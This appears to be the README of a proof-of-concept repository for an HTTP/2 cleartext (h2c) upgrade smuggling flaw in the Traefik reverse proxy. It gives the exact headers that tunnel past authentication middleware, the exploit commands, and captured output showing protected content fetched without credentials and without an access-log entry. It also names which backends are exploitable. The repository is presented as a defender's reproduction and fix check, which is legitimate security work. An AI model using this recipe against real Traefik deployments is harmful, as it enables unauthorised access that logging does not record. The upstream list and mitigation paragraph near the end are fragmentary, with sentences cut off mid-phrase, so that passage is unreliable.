
Stdlib-only Python PoC for CVE-2026-88008: exploits Traefik h2c upgrade forwarding to tunnel past routers and auth middleware, with a Jetty h2c lab for fix verification.
Affected: Traefik 2.11.26 → 2.11.56 and 3.7.0 → 3.7.12
Fixed: 2.11.57 / 3.7.13 — commit a277e946 "Do not forward h2c upgrade headers to the backend"
Advisory: GHSA-w4v4-9rw7-5326 · CVSS 9.1
Class: CWE-444 (request smuggling / inconsistent interpretation) + CWE-863 (incorrect authorization)
Traefik's HTTP reverse proxy re-adds the client's Connection: Upgrade /
Upgrade: h2c pair while proxying and forwards the HTTP2-Settings header as
well. An upstream that implements the RFC 7540 §3.2 h2c upgrade handshake answers
101 Switching Protocols; Go's httputil.ReverseProxy then drops into a raw
byte tunnel. Everything after that on the connection is HTTP/2 straight to the
backend: Traefik's routers and middlewares (BasicAuth, ForwardAuth, IPAllowList,
RateLimit) are never consulted, and the traffic is not access-logged, metered or
traced either.
The request shape that makes Traefik forward all three pieces:
GET /public.html HTTP/1.1
Host: target
Connection: Upgrade # HTTP2-Settings deliberately NOT listed here
Upgrade: h2c
HTTP2-Settings: AAMAAABkAAQAAP__
HTTP2-Settings must stay out of the Connection token list, because Go's
reverse proxy deletes every header named in Connection before proxying —
listing it there strips the settings header and the upstream refuses the
upgrade. Naming only Upgrade keeps the header alive while Go still re-adds the
Connection: Upgrade / Upgrade: h2c pair. Measured on the real proxy:
# what the upstream received through vulnerable v3.7.12
GET /vuln-probe.html HTTP/1.1
Host: lab
Connection: Upgrade
Http2-Settings: AAMAAABkAAQAAP__
Upgrade: h2c
# through fixed v3.7.13
GET /fix-probe.html HTTP/1.1
Host: lab
# -> no Connection, no Upgrade, no Http2-Settings
The fix (pkg/server/service/upgrade.go) wraps the reverse proxy in an
h2cUpgradeHandler that deletes Upgrade (when Connection carries the
Upgrade token and the value is h2c) and always deletes Http2-Settings.
# vulnerable target: assert the bypass
python3 poc.py exploit --url http://127.0.0.1:8083
# fixed/control target: assert the upgrade is refused and the path stays protected
python3 poc.py check --url http://127.0.0.1:8084
The PoC is stdlib-only, opens the upgrade on an unprotected path, and — once the tunnel is up — speaks HTTP/2 (raw frames, minimal HPACK) to fetch the middleware-protected path without any credentials. Stream 1 of the new HTTP/2 connection is the replayed upgrade request (RFC 7540 §3.2); the PoC drains it and then sends its own request as stream 3.
Lab: real traefik:v3.7.12 and traefik:v3.7.13 containers, and a real Jetty 12
upstream with cleartext HTTP/2 (--add-modules=http2c) serving a document that a
basicAuth middleware guards. Recipe: lab/README.md.
$ python3 poc.py exploit --url http://127.0.0.1:8083 # Traefik v3.7.12
[*] target : http://127.0.0.1:8083
[*] public path : /public.html
[*] protected path: /protected.html
[*] baseline: GET /protected.html without credentials -> HTTP 401
[*] upgrade request -> HTTP/1.1 101 Switching Protocols
[*] stream 1 (replayed upgrade request) body: 'PUBLIC-OK'
[*] tunnel frames : 1:3:4 0:3:0 0:3:1
[+] content served over the unauthorised tunnel:
PROTECTED-CONTENT-OK
=> PASS (unauthenticated access to /protected.html through the h2c tunnel; Traefik's routers/middlewares were never applied to this request)
$ python3 poc.py check --url http://127.0.0.1:8084 # Traefik v3.7.13
[*] baseline: GET /protected.html without credentials -> HTTP 401
[*] upgrade request -> HTTP/1.1 200 OK
=> PASS (control: upgrade not forwarded and the protected path still requires auth)
$ python3 poc.py exploit --url http://127.0.0.1:8084
[*] upgrade request -> HTTP/1.1 200 OK
=> FAIL (upgrade refused - no h2c tunnel, target is not vulnerable / is fixed)
Traefik's own access log on the vulnerable run shows the smuggling surface: the
upgrade request is recorded with a hijacked status (0), and the protected
document that the tunnel fetched has no entry at all — the bypass is
invisible to access logging:
"GET /protected.html HTTP/1.1" 401 17 ... "prot@file" <- our baseline check
"GET /public.html HTTP/1.1" 0 0 ... "pub@file" 7ms <- the upgrade request (tunnelled)
<- the tunneled protected fetch: nothing logged
The bypass needs an upstream that accepts the h2c upgrade as Traefik forwards
it, i.e. with Connection: Upgrade, Upgrade: h2c and an HTTP2-Settings
header but without requiring the HTTP2-Settings token inside Connection.
Verified accepting:
http2c module (UPGRADE: h2c + settings header is
enough) — this is the upstream used in the lab.Verified rejecting (they additionally insist on the RFC-strict
Connection: Upgrade, HTTP2-Settings token list, which Traefik cannot deliver
because Go's reverse proxy strips headers named in Connection):
mod_http2 — logs AH03086: upgrade without HTTP2-Settings declinedgolang.org/x/net/http2/h2c — its isH2CUpgrade() requires the
HTTP2-Settings token in ConnectionSo the reachable victim set is upstreams with a lenient h2c upgrade check (Java services on Jetty being the common case), not every backend. The proxy-side bug and the fix boundary are unconditional, which is why the vendor shipped it.
Upgrade: h2c to) and disable h2c upgrade
support in upstreams (Protocols http/1.1 in Apache, no http2c module in
Jetty) — the same flag also kills the sibling advisories in this family
(CVE-2026-85595 digestAuth bypass, CVE-2026-71324 CONNECT desync).Public CVE with a public vendor fix; this repository is an independent reproduction for defenders and for verifying the fix boundary.